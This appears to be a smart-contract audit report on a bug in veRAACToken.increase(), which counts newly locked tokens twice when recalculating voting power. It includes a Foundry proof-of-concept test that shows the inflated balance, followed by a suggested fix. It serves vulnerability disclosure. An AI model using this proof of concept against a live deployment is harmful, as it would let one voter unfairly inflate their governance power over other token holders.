Summary
A malicious voter can inflate their voting power by calling veRAACToken.increase()
Vulnerability Details
The veRAACToken
contract lets users lock RAAC tokens for a period. In return, they receive “voting power” proportional to both the amount locked and the duration
function increase(uint256 amount) external nonReentrant whenNotPaused {
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
@>> userLock.amount + amount,
userLock.end
);
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}
The function above allows users who have locked their tokens to increase their voting power
.The issue is that, at the part marked @>>
, instead of computing only the incremental additional power from the new amount, the function recalculates the new voting power using the new amount and then effectively adds that result on top of the previously credited locked amount.
Proof Of Concept
See how to intigrate foundry to hardhat project
. Create a new file POC.t.sol
in project /test/
folder . Paste the poc and run forge test --mt test_POC
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "contracts/core/tokens/veRAACToken.sol";
import "contracts/mocks/core/tokens/ERC20Mock.sol";
contract Audit_Test is Test {
veRAACToken public veToken;
ERC20Mock public raacToken;
address owner = makeAddr("owner");
address user = makeAddr("user");
uint256 constant MIN_LOCK_DURATION = 365 days;
uint256 constant MAX_LOCK_DURATION = 1460 days;
uint256 constant INITIAL_MINT = 1_000_000 ether;
uint256 constant BOOST_WINDOW = 7 days;
uint256 constant MAX_BOOST = 25000;
uint256 constant MIN_BOOST = 10000;
function setUp() public {
vm.startPrank(owner);
raacToken = new ERC20Mock("RAAC Token", "RAAC");
veToken = new veRAACToken(address(raacToken));
vm.stopPrank();
}
function test_POC() public {
uint256 amount = 100;
uint256 duration = 365 days;
raacToken.mint(user, 200);
vm.startPrank(user);
raacToken.approve(address(veToken), 200);
uint256 unlockTime = block.timestamp + duration;
uint256 time = unlockTime - block.timestamp;
uint256 initialPower = (amount * time) / 1460 days;
int128 bias = int128(int256(initialPower));
uint256 newPower = uint256(uint128(bias));
uint256 timestampBefore = block.timestamp;
veToken.lock(amount, duration);
assertEq(veToken.balanceOf(user) , 25);
veToken.increase(amount);
assertEq(veToken.balanceOf(user) ,75) ;
assertEq(veToken.getVotingPower(user), 75);
vm.stopPrank();
}
}
Impact
User voting power will be inflated
Tools Used
Manual Review
Recommendations
function increase(uint256 amount) external nonReentrant whenNotPaused {
'''
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
- userLock.amount + amount,
+ amount
userLock.end
);
'''